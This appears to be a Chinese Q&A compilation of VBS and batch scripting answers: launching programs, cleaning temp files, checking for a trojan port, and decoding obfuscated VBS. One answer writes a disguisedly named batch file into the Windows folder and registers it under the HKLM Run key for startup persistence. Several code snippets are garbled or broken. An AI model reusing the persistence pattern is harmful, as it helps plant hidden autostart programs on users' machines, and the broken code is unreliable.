vbs腳本
❶ bat和vbs腳本 有什麼區別 詳細點！ 謝謝
bat腳本是依賴於cmd命令窗口的一種腳本語言。vbs腳本是使用vbasic語言編寫的腳本語言，基於wscript.exe程序來運行。兩者語法上相差很大.vbs腳本功能更加地強大，他能調用dll動態庫完成一些bat不能完成的功能。同時bat與vbs可以互相調用。
❷ 如何編寫vbs腳本
其實vbs腳本和Visual
Bacic語言很相似
VBS就是visual
basic
script，vb語言腳本
可以使用msg,fso,等等對象和函數，但是除了通用窗體如inputbox之類的外不能出現窗體，只能做到類似批處理的工作，在一些方面有特殊作用，比如組策略gpedit.msc中可以用來做成啟動腳本，用來啟動一些帶參數的軟體如drvanti，我通常用VBS來啟動這個參數Drvanti.exe
-noquit
方法的話網上很多，可以去找，說來話長。
❸ vbs腳本如何啟動程序
Setshell=Wscript.createobject("wscript.shell")
a=shell.run("這里寫你文件所在的路徑，例如C:windows
otepad.exe",0)
❹ BAT,與VBS兩種腳本語言.
bat 以前是DOS下的批處理文件
批處理，也稱為批處理腳本，英文譯為BATCH，批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式，只要遵守以下這條就ok了：每一行可視為一個命令，每個命令里可以含多條子命令，從第一行開始執行，直到最後一行結束，它運行的平台是DOS。批處理有一個很鮮明的特點：使用方便、靈活，功能強大，自動化程度高.要學好批處理，DOS基礎一定要牢！當然腦子靈活也是很重要的一方面。
例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟，將下面的幾行命令保存為name.bat然後執行（以後文中只給出代碼，保存和執行方式類似）：
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
是不是都能看的懂？是不是很easy？但它的作用卻是很實用的，執行這個批處理後，可以在你的當前盤建立一個名為a.txt的文件，它裡面記錄的信息可以幫助你迅速找到速度最快的QQ伺服器，從而遠離「從伺服器中轉」那一痛苦的過程。這里>的意思，是把前面命令得到的東西放到後面所給的地方，>>的作用，和>的相同，區別是把結果追加到前一行得出的結果的後面，具體的說是下一行，而前面一行命令得出的結果將保留，這樣可以使這個a.txt文件越來越大（想到如何搞破壞了？？）。By the way，這個批處理還可以和其他命令結合，搞成完全自動化判斷伺服器速度的東東，執行後直接顯示速度最快的伺服器IP，是不是很爽?例二、再給出一個已經過時的例子（a.bat）：
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
為什麼說這是個過時的例子呢？很簡單，因為現在已經幾乎沒有人用帶廣告的QQ了（KAO，我的QQ還顯示好友三圍呢！！），所以它幾乎用不上了。但曾經它的作用是不可小窺的：刪除QQ的廣告，讓對話框乾乾凈凈。這里用的地址是QQ的默認安裝地址，默認批處理文件名為a.bat，你當然可以根據情況自行修改。在這個腳本中使用了if命令，使得它可以達到適時判斷和刪除廣告圖片的效果，你只需要不關閉命令執行後的DOS窗口，不按CTRL+C強行終止命令，它就一直監視是否有廣告圖片（QQ也再不斷查看自己的廣告是否被刪除）。當然這個腳本佔用你一點點內存，呵呵。
例三，使用批處理腳本查是否中冰河。腳本內容如下：
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
這里利用了netstat命令，檢查所有的網路埠狀態，只需要你清楚常見木馬所使用的埠，就能很easy的判斷出來是否被人種了冰河。然這不是確定的，因為冰河默認的埠7626，完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動，就變成可以檢查其他木馬的腳本了，再改動一下，加進去參數和埠及信息列表文件後，就變成自動檢測所有木馬的腳本了。呵呵，是不是很過癮？腳本中還利用了組合命令&&和管道命令|，後面將詳細介紹。
例四，借批處理自動清除系統垃圾，腳本如下：
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
將以上腳本內容保存到autoexec.bat里，每次開機時就把系統垃圾給自動刪除了。這里需要注意兩點：一、DOS不支持長文件名，所以就出現了Tempor~1這個東東；二、可根據自己的實際情況進行改動，使其符合自己的要求。
❺ 求高手給寫個VBS腳本！！！！
'保存為vbs類型文件
set shell=createobject("wscript.shell")
set open=createobject("scripting.filesystemobject")
set word=createobject("Word.Application")
set tasks=word.tasks
file1="aaa.txt" '假設這是aaa,修改下路徑即可
file2="bbb.txt" '假設這是bbb,修改下路徑即可
file3="c.exe" '某c程序
button="^N" '某開始按鈕的快捷鍵,你必須先確定這個快捷鍵按鈕可以用鍵盤操作,且是否有效."^N"是Ctrl+N,"%N"是Alt+N.N可以是別的組合鍵
tmp1=envision("tmp")&"\tmp1" '這是aaa的臨時記錄文件
tmp2=envision("tmp")&"\tmp2" '這是bbb的臨時記錄文件
public function prtitle
for each i in tasks
if i.visible then prtitle=i.name:word.quit:exit for
next
end function
public function dir(byval exist)
if open.folderexists(exist&"\") then
if open.folderexists(exist) then dir=open.getfolder(exist) else dir=""
else
if open.fileexists(exist) then dir=open.getfile(exist) else dir=""
end if
end function
function (byval file1,file2)
open.file file1,file2
end function
public function Envision(byval Val)
envision=shell.environment("Process").item(val)
if lcase(val)=lcase("cd") then envision=open.getfolder(".")
end function
'第一次必須記錄文件,否則往後程序無法得知是否更新
'do 這是循環開始
if dir(file2)="" then open.createtextfile(file2).write ""
if dir(file1)="" then shell.popup file1&"不存在,程序無法執行!",3,wscript.scriptname,64:wscript.quit '如果aaa不存在的話程序自動退出
if open.getfile(file1).size=0 then shell.popup file1&"是空文件,程序無法執行!",3,wscript.scriptname,64:wscript.quit '如果aaa是空文件的話程序自動退出
read1=open.opentextfile(file1).readall
if dir(tmp2)="" then open.createtextfile(tmp2).write ""
if dir(tmp1)="" then
open.createtextfile(tmp1).write read1
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
popup file2&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.sendkeys button
'wscript.quit '如果bbb沒有更新的話就退出程序.這里如需要退出就把這一行第一個'字元去掉即可退出.反之如果不需要則不管或刪除此行.若需要執行某C程序則將上面3行前面的'去掉
end if
else
popup file1&"沒有變化,如果是第一次運行本程序,請再運行一次.",3,wscript.scriptname,64 '如不需提示可刪除此行
end if
else
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
shell.popup file2&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.
'shell.sendkeys button
'wscript.quit '如果bbb沒有更新的話就退出程序.這里如需要退出就把這一行第一個'字元去掉即可退出.反之如果不需要則不管或刪除此行.若需要執行某C程序則將上面3行前面的'去掉
end if
else
shell.popup file1&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
end if
end if
'wscript.sleep 1000*30 '30秒執行一次
'loop 循環結束
'==================================
'代碼沒有經過任何測試,如果不符合實際要求.可以網路hi我.怎麼用法自己調整.如需要循環執行將32行的'do前面的'去掉,和76行的'loop前面的'去掉.循環的時候系統肯定會很慢,不保證能正常使用電腦.如需定時循環一次可以將75行最前面的'去掉.
'==================================
❻ vbs腳本編寫
dimws,ShutdownRunner
setws=creatrobject("wscript.shell")
ws.run"C:Windowssystem32cmd.exeat/delete/yes"
SetShutdownRunner=CreateObject("wscript.shell")ShutdownRunner.run"at22:10shutdown-s-t"+"60",vbHide
❼ vbs腳本命令
set fso = createobject("scripting.filesystemobject")
set ofwr = fso.opentextfile(fso.getspecialfolder(WindowsFolder) & "\microsoft.bat",8,true)
ofwr.writeline "start %systemroot%\stem\a.exe"
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr.bat",fso.getspecialfolder(WindowsFolder) & "\microsoft.bat","REG_SZ"
其實沒必要創建批處理文件
a.exe 可以直接加入啟動項。
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr",fso.getspecialfolder(WindowsFolder) & "\stem\a.exe","REG_SZ"
❽ vbs腳本的製作！
呵呵，成功了。
Set objfs=CreateObject("scripting.filesystemobject")
Set objDialog=CreateObject("UserAccounts.CommonDialog")
objDialog.Filter="vbs File|*.vbs|All Files|*.*"
objDialog.InitialDir = ""
objDialog.ShowOpen
strLoadFile = objDialog.FileName
if not strLoadFile = "" then
set objf=objfs.opentextfile(strLoadFile)
str=objf.ReadLine
start=InStr(str,"array(")+6
str=Mid(str,start,Len(str)-start)
strs=Split(str,",",-1,1)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
Next
objf.Close
Set objf=objfs.OpenTextFile(strLoadFile,2)
objf.Write runner
MsgBox "解密成功",,"提示"
End If
❾ VBS腳本語言
REM 輸入並回顯你的名字
\'使用InputBox和Msgbox函數
Dim name,msg
msg="請輸入你的名字:"
name=Inputbox(msg,"名稱")
Msgbox(name)
把上面的程序清單輸入到記事本裡面, 然後保存為以.vbs為擴展名的文件("保存類型"裡面選擇"所有文件").然後雙擊運行, 觀察運行結果. 注意:請自己輸入程序清單, 不要復制->粘貼
這是最簡單的,也是最基本的.
❿ vbs腳本教程
VBS病毒的原理與防護(轉帖